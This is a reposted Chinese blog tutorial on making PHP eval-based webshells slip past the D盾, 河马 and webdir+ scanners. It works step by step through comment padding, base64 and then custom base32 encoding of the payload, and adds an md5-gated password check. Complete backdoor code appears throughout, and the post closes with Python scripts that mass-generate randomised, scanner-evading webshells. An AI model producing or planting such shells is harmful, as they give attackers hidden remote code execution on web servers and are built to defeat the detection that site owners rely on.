zoukankan      html  css  js  c++  java
  • 利用注释及自定义加密免杀Webshell

    - 0x00:简介-

    此篇只讨论php,其实原理是相同的,本文的思路依然适用于其他语言
    由于php7.1以后assert不能拆分了,所以此篇不使用assert函数作为核心,使用适用性更广的eval。

    免杀顺序依次为D盾 河马 webdir+
    0x01:探究免杀

    免杀D盾
    首先我们需要了解免杀的原理,免杀其实就是绕过杀软的规则,而规则对我们来说是不透明的,但是可以根据fuzz探知个大概。

    首先请出我们的一句话木马:

    <?php @eval($_POST('a'));?>

    无论如何混淆webshell,我们期望最终得到的逻辑依然是这条代码,所以答案知道了,想办法混淆就行了。

    经过对D盾的探测,可以知道,它对函数的检测其实是比较粗糙的,比如我们构造一个函数,让其返回值拼接为

    eval($_POST['a'])
    
    <?php
    
    function x()
    {
    
        return $_POST['a'];
    
    }
    
    eval(x());
    ?>

    D盾扫一下

    被杀了,显然D盾并没有给出我们为什么这个会被杀,只说是已知后门,这里我们测试一下到底是什么东西被规则杀掉了。

    首先,无论如何更改函数名,都会被杀掉,所以和函数名没关系,然后就是eval内的参数了,测试后发现,只要拼接成eval($_POST['a'])就会被杀,因此我们避免语句直接拼接为这样即可。

    如何避免直接拼接呢 当然是往中间加料了 加一些既不会破坏语法又能起到隔离作用的东西,什么东西可以做到这样呢?当然就是注释了

    比如这样的:

    <?php
    
    function x()
    {
    
        return "/*sasas23123*/".$_POST['a']."/*sdfw3123*/";
    
    }
    
    eval(x());
    ?>

    这里用两段注释在"eval("与"$_POST"之间起到了隔离的作用,因此绕过了直接拼接这个规则,D盾继续杀一下


    已经免杀成功,再看一下能否使用


    既然如此,我们的核心绕过思路就是利用注释了,为了去除特征,必不可少的就是随机性了

    使用函数返回值与eval拼接只是权宜之计,毕竟也是一条规则就能够被干掉的。

    所以我们这里使用类和构造函数来替代主动调用函数,

    <?php
    class x
    {
    
            function __construct()
            {      
                    @eval("/*sasas23123*/".$_POST['a']."/*sdfw3123*/");
            }
    
    }
    new x();
    
    ?>

    改到这里,我不禁想 如果D盾发狠把".$_POST['a']."当独立规则,那岂不是也歇菜,所以,我决定使用base64编码将"$_POST['a']"转化一下

    <?php
    class x
    {
            public $payload = null;
            public $decode_payload = null;
            function __construct()
            {       $this->payload='ZXZhbCgkX1BPU1RbYV0pOw==';
                    $this->decode_payload = @base64_decode( $this->payload );
                    @eval("/*sasas23123*/".$this->decode_payload."/*sdfw3123*/");
            }
    
    }
    new x();
    
    ?>

    到现在为止,模板确认

    后面就是写轮子了,至于轮子原理也很简单,就是将可以修改特征的参数名使用随机数填充,比如类名、public变量名、用于混淆的注释字符等。
    代码如下:

    import random
    
    #author: pureqh
    #github: https://github.com/pureqh/webshell
    
    
    shell = '''<?php
    class {0}{3}
            public ${1} = null;
            public ${2} = null;
            function __construct(){3}
            $this->{1}='ZXZhbCgkX1BPU1RbYV0pOw==';
            $this->{2} = @base64_decode( $this->{1} );
            @eval({5}.$this->{2}.{5});
            {4}{4}
    new {0}();
    ?>'''
    
    
    def random_keys(len):
        str = '`~-=!@#$%^&_+?<>|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
        return ''.join(random.sample(str,len))
    
    def random_name(len):
        str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        return ''.join(random.sample(str,len))  
    
    def build_webshell():
        className = random_name(4)
        parameter1 = random_name(5)
        parameter2 = random_name(6)
        lef = '''{'''
        rig = '''}'''
        disrupt = ""/*"+random_keys(7)+"*/""
        shellc = shell.format(className,parameter1,parameter2,lef,rig,disrupt)
        return shellc
    
    
    if __name__ == '__main__':
        print (build_webshell())
    

    免杀河马
    首先我们拿出之前的样本:

    <?php
    class YHUV{
            public $BSFRM = null;
            public $YVMQFW = null;
            function __construct(){
            $this->BSFRM='ZXZhbCgkX1BPU1RbYV0pOw==';
            $this->YVMQFW = @base64_decode( $this->BSFRM );
            @eval("/*rEgV_Cd*/".$this->YVMQFW."/*rEgV_Cd*/");
            }}
    new YHUV();
    ?>

    直接拿去河马查杀一下,


    它很可能通过拼接得到了"eval($_POST[xxx]);",所以认定为木马,那我加一层认证如何

    <?php
    class BTAG{
            public $QOMYW = null;
            public $XGTCPL = null;
            public $YIOXAL = null;
            function __construct(){
                if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e"){
            $this->QOMYW = 'ZXZhbCgkX1BPU';
            $this->YIOXAL = '1RbYV0pOw==';
            $this->XGTCPL = @base64_decode($this->QOMYW.$this->YIOXAL);
            @eval("/*#`|W$~Q*/".$this->XGTCPL."/*#`|W$~Q*/");
            }}}
    new BTAG();
    ?>

    这个我是真没想到...
    免杀webdir+
    官方说它会拿沙盒跑


    我们拿绕过河马的马跑一下,这里的检测速度之所以比较慢就是因为它在跑沙盒,这种方式确实比传统的查杀工具难搞很多,但是它并不完美。

    由于eval依然无法动摇,所以我依旧从"$_POST['a']"下手,首先这串字符编码后是过不去webdir+的,但是不编码也过不去,我猜测可能是沙盒在模拟运行的时候拼接出了eval($_POST['a']),导致被杀,那我使用md5做密钥它总跑不出来吧。修改代码如下:

    <?php
    class YHUV{
            public $BSFRM = null;
            public $YVMQFW = null;
            function __construct(){
                if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e"){
                    $this->BSFRM=$_POST['a'];
                    @eval("/*rEgV_Cd*/".$this->BSFRM."/*rEgV_Cd*/");
                }
            }}
    new YHUV();
    ?>

    还是被杀了,我反而很高兴,那这也说明一个问题,你并没有顺利执行过我的马,那说明我eval()里的东西一直都是安全的,那么不安全的肯定就是"$_POST['a']"了,这个怎么解决呢?
    经过大量测试 我发现了一个事情 base64不行了
    base64不行了怎么办?我直接用base32,php没有自带的base32?那就自己写

    function base32_encode($input) {
        $BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
        $output = '';
        $v = 0;
        $vbits = 0;
    
        for ($i = 0, $j = strlen($input); $i < $j; $i++) {
            $v <<= 8;
            $v += ord($input[$i]);
            $vbits += 8;
    
            while ($vbits >= 5) {
                $vbits -= 5;
                $output .= $BASE32_ALPHABET[$v >> $vbits];
                $v &= ((1 << $vbits) - 1);
            }
        }
    
        if ($vbits > 0) {
            $v <<= (5 - $vbits);
            $output .= $BASE32_ALPHABET[$v];
        }
    
        return $output;
    }
    
    function base32_decode($input) {
        $output = '';
        $v = 0;
        $vbits = 0;
    
        for ($i = 0, $j = strlen($input); $i < $j; $i++) {
            $v <<= 5;
            if ($input[$i] >= 'a' && $input[$i] <= 'z') {
                $v += (ord($input[$i]) - 97);
            } elseif ($input[$i] >= '2' && $input[$i] <= '7') {
                $v += (24 + $input[$i]);
            } else {
                exit(1);
            }
    
            $vbits += 5;
            while ($vbits >= 8) {
                $vbits -= 8;
                $output .= chr($v >> $vbits);
                $v &= ((1 << $vbits) - 1);
            }
        }
        return $output;
    }
    

    shell如下,直接使用base32处理"eval($_POST[zero]);"

    <?php
    class ZQIH{
            public $a = null;
            public $b = null;
            public $c = null;
    
            function __construct(){
                if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e"){
    
            $this->a = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy';
    
    
    
            $this->LGZOJH = @base32_decode($this->a);
            @eval/*sopupi3240-=*/("/*iSAC[FH*/".$this->LGZOJH."/*iSAC[FH*/");
            }}}
    new ZQIH();
    
    function base32_encode($input) {
        $BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
        $output = '';
        $v = 0;
        $vbits = 0;
    
        for ($i = 0, $j = strlen($input); $i < $j; $i++) {
            $v <<= 8;
            $v += ord($input[$i]);
            $vbits += 8;
    
            while ($vbits >= 5) {
                $vbits -= 5;
                $output .= $BASE32_ALPHABET[$v >> $vbits];
                $v &= ((1 << $vbits) - 1);
            }
        }
    
        if ($vbits > 0) {
            $v <<= (5 - $vbits);
            $output .= $BASE32_ALPHABET[$v];
        }
    
        return $output;
    }
    
    function base32_decode($input) {
        $output = '';
        $v = 0;
        $vbits = 0;
    
        for ($i = 0, $j = strlen($input); $i < $j; $i++) {
            $v <<= 5;
            if ($input[$i] >= 'a' && $input[$i] <= 'z') {
                $v += (ord($input[$i]) - 97);
            } elseif ($input[$i] >= '2' && $input[$i] <= '7') {
                $v += (24 + $input[$i]);
            } else {
                exit(1);
            }
    
            $vbits += 5;
            while ($vbits >= 8) {
                $vbits -= 8;
                $output .= chr($v >> $vbits);
                $v &= ((1 << $vbits) - 1);
            }
        }
        return $output;
    }
    ?>

    继续查杀:


    能否运行:


    至此,我们似乎找到了盲点,以后直接自己写加密完事了。可惜一句话木马也被写成一段话木马了。。。 不过在渗透测试过程中完全可以将其拆分为多个文件互相调用。
    0x02:批量代码
    同样为了减少特征
    代码如下

    import random
    
    #author: pureqh
    #github: https://github.com/pureqh/webshell
    #use:GET:http://url?pass=pureqh POST:zero
    
    shell = '''<?php
    class {0}{1}
            public ${2} = null;
            public ${3} = null;
            function __construct(){1}
                if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e"){1}
            $this->{2} = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy';
            $this->{3} = @{9}($this->{2});
            @eval({5}.$this->{3}.{5});
            {4}{4}{4}
    new {0}();
    function {6}(${7}){1}
        $BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
        ${8} = '';
        $v = 0;
        $vbits = 0;
        for ($i = 0, $j = strlen(${7}); $i < $j; $i++){1}
        $v <<= 8;
            $v += ord(${7}[$i]);
            $vbits += 8;
            while ($vbits >= 5) {1}
                $vbits -= 5;
                ${8} .= $BASE32_ALPHABET[$v >> $vbits];
                $v &= ((1 << $vbits) - 1);{4}{4}
        if ($vbits > 0){1}
            $v <<= (5 - $vbits);
            ${8} .= $BASE32_ALPHABET[$v];{4}
        return ${8};{4}
    function {9}(${7}){1}
        ${8} = '';
        $v = 0;
        $vbits = 0;
        for ($i = 0, $j = strlen(${7}); $i < $j; $i++){1}
            $v <<= 5;
            if (${7}[$i] >= 'a' && ${7}[$i] <= 'z'){1}
                $v += (ord(${7}[$i]) - 97);
            {4} elseif (${7}[$i] >= '2' && ${7}[$i] <= '7') {1}
                $v += (24 + ${7}[$i]);
            {4} else {1}
                exit(1);
            {4}
            $vbits += 5;
            while ($vbits >= 8){1}
                $vbits -= 8;
                ${8} .= chr($v >> $vbits);
                $v &= ((1 << $vbits) - 1);{4}{4}
        return ${8};{4}
    ?>'''
    
    
    def random_keys(len):
        str = '`~-=!@#$%^&_+?<>|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
        return ''.join(random.sample(str,len))
    
    def random_name(len):
        str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        return ''.join(random.sample(str,len))  
    
    def build_webshell():
        className = random_name(4)
        lef = '''{'''
        parameter1 = random_name(4)
        parameter2 = random_name(4)
        rig = '''}'''
        disrupt = ""/*"+random_keys(7)+"*/""
        fun1 = random_name(4)
        fun1_vul = random_name(4)
        fun1_ret = random_name(4)
        fun2 = random_name(4)
        shellc = shell.format(className,lef,parameter1,parameter2,rig,disrupt,fun1,fun1_vul,fun1_ret,fun2)
        return shellc
    
    
    if __name__ == '__main__':
        print (build_webshell())

    转:https://xz.aliyun.com/t/8923
  • 相关阅读:
    局部 与 整体 修正 逐渐逼近
    en-zh(社会问题)social problems
    单调性 [1 + 1 / (n)]^n
    en-zh(科学技术)science and technology
    mysql函数之截取字符串
    看数据库的文件大小 MySQL Binlog日志的生成和清理规则
    Brouwer不动点
    布尔巴基学派
    量子杨-Baxter方程新解系的一般量子偶构造_爱学术 https://www.ixueshu.com/document/f3385115a33571aa318947a18e7f9386.html
    COMSOL
  • 原文地址:https://www.cnblogs.com/0daybug/p/14218779.html
Copyright © 2011-2022 走看看